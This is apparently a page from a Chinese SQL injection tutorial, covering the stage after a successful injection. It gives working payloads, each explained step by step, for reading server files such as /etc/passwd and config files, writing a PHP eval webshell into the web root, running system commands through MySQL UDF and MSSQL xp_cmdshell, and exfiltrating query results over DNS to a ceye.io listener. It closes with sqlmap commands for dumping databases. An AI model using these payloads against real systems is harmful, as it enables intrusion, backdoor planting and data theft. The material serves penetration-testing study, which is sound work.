🛡 SQLi 注入大全
已掌握 0/46
首页 › 阶段 6 · 深水提权 · 实战地图

深水提权 · 面对未知的唯一流程

读/写文件、UDF 提权、命令执行,以及把前面所有招式串成一张决策图

当前位置…
深

深水提权 · 实战地图

注入拿到后,往系统权限再走一步。

深水 › 权限

权限识别 前置

先问“我是什么身份”再谈下一步

拿数据只是中间态。提权前先确认数据库用户、服务账号、平台,决定能走多远。

三查身份
SELECT user(), @@version, @@datadir;
SELECT @@global.secure_file_priv;   # NULL=禁写, 空=随便写, 路径=只能写那儿
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
user()当前连接数据库的用户名判权限高低 → 能不能读/写文件、能不能 UDF 提权
@@versionMySQL 全局变量:版本号同 version(),间接看是否带平台信息
@@datadir数据目录写 webshell 的王——先看绝对路径
@@global.secure_file_priv读写文件权限位等于空才能写文件,否则读文件路线也被卡
深水 › 读文件

读文件(load_file) 数据横向

把服务器文件叼出来

有 FILE 权限且 secure_file_priv 允许时,load_file() 能读任意可读文件——源码、配置、密钥。

读常见敏感文件
UNION SELECT LOAD_FILE('/var/www/html/config.php')   # 框架/站配置文件
UNION SELECT LOAD_FILE('/etc/passwd')                     # 系统用户文件
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
LOAD_FILE()--
绝对路径从根写起读文件必须给完整路径,先探路径再读
config.php常见敏感点数据库口令/密钥常在此;再顺藤摸源码
深水 › 写文件

写文件(INTO OUTFILE) 数据横向

把 webshell 写进服务器

有 FILE 权限
且写路径可写时,INTO OUTFILE 能把查询结果写成文件——最常见用途是写一句话木马。

写 webshell 到 web 根
SELECT '<?php @eval(\$_POST[x]);?>'
INTO OUTFILE '/var/www/html/shell.php'   # 先确认 web 根目录可写
注意:先确认存在可写目录(如通过 @@datadir + 报错定位 web 根)。写坏/写不进先回到权限与路径排查。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
INTO OUTFILE把查询结果写成服务器文件写 webshell 的前提;需 file 权限
<?php ... ?>一句话木马逻辑:先确认能写,再上木马做后门
路径写到 web 根才能被访问一般写进 /var/www/html/ 等可访问目录
深水 › UDF

UDF 提权(MySQL) 提权

把自己写的函数装进数据库,借它执行系统命令

UDF = 用户自定义函数。把编译好的 udf.dll/so 拷进 MySQL 的 plugin 目录并 CREATE FUNCTION,随后调用该函数即执行系统命令。

UDF 三连
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';
SELECT sys_exec('id')   # 借函数跑系统命令
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
CREATE FUNCTION ... SONAME注册 UDF 模块前提:有 FILE 权限且有权限写 plugin 目录
sys_exec()自定义的系统命令函数由 udf.so/dll 提供;成功后即命令执行
条件门槛FILE + plugin 可写看不到这条路 → 走读文件/命令执行其他入口
深水 › MSSQL

MSSQL 命令执行(xp_cmdshell) 命令执行

一步到位跑系统命令

MSSQL 拿到 SA 权限后,开启 xp_cmdshell 即可执行任意系统命令。

开启并利用
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami'   # 一次连接里跑三条
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
sp_configure改高级配置开关必须先把 show advanced options 置 1 才能开 xp_cmdshell
xp_cmdshellMSSQL 的命令执行扩展默认禁用,先开;返回即命令输出
SA 权限最高数据库权限拿不到 SA 就只能走读数据路线
深水 › 地图

面对未知的唯一流程 总图

从“一个参数”到“系统权限”的完整决策链

把前面所有招式串成一条不迷路的决策链:每走一步只做一次判断。

流程

①找输入面 → ②闭合探测 → ③认库 → ④选招式(回显/报错/盲注/时间/堆叠) → ⑤取数 → ⑥验权限 → ⑦读/写文件或提权 → ⑧回收&清理。每一步被卡就降级信道或换输入面,永不硬刚。

深水 › 带外

带外注入(OOB / DNS) 偏门

没回显、时间盲注又被卡住时的第三条路

既拿不到回显、时间盲注又被代理/QPS 压死时,让数据库主动发一条 DNS/HTTP 外带:把结果拼进域名子域,在 dnslog / ceye 上收。常见于 MySQL 读文件域、MSSQL 装载路径。

MySQL 借 LOAD_FILE 外带
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxxx.ceye.io\\a'));-- -   # 一查库名即对 <库名>.xxxx.ceye.io 发起 DNS 解析
MSSQL 借 xp_dirtree 外带
EXEC master..xp_dirtree '\\<data>.xxxx.ceye.io\a'   # 强行解析 UNC 路径,照样外带
注意:必须用你自己控制的服务商(dnslog/ceye);只带必要字段,别把整库广播出去。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
LOAD_FILE()--
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
UNC 路径 \\ 主机\共享服务器会尝试解析的网络路径触发的就是 DNS 请求,数据编码在主机名里
dnslog / ceye接收外带的监听服务把“数据+特征串”拼成子域,回收解析记录
时间盲注失效的场景QPS 受限/代理卡死OOB 一条请求带回结果,省大量黑白往返
深水 › 反馈表

反馈 → 下一步速查 速查

关键时刻抄作业

把最常碰到的“我卡在这儿了”对应到下一步。

你现在的状态下一步所在小节
有回显UNION 数列→回显→套数UNION
只报错报错函数全家报错
页面恒定只分真假布尔盲注布尔
全无反馈时间盲注时间
无回显且时间盲注也被卡带外注入 OOBOOB
有 FILE 权限读/写文件读文件/写文件
想执行命令UDF / xp_cmdshellUDF/MSSQL
深水 › 工具

工具与结业 收尾

把重复劳动交给自动化,脑力留给人

手打盲注终会被工具取代——sqlmap 就是标准答案。但先自己走一遍,才认得它每一步在干嘛。

sqlmap 一键
sqlmap -u "http://x.com/sub?id=350" --batch --dbs   # 列库
sqlmap -u "..." --tables -D 库名 --dump   # 表–>数据
sqlmap -u "..." --file-read=/etc/passwd    # 读文件
提示/要点:对标练习:先说出手动该打哪招,再让工具跑一遍对照。手动能力 + 工具速度 = 成熟渗透。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
--batch不交互、全自动脚本/大批量时避免卡在确认
--dbs / -D 库列库 / 选库锁定目标库后再爆表
--dump导出表数据拿最终数据的好帮手
--file-read读服务器文件对照深水区读文件招式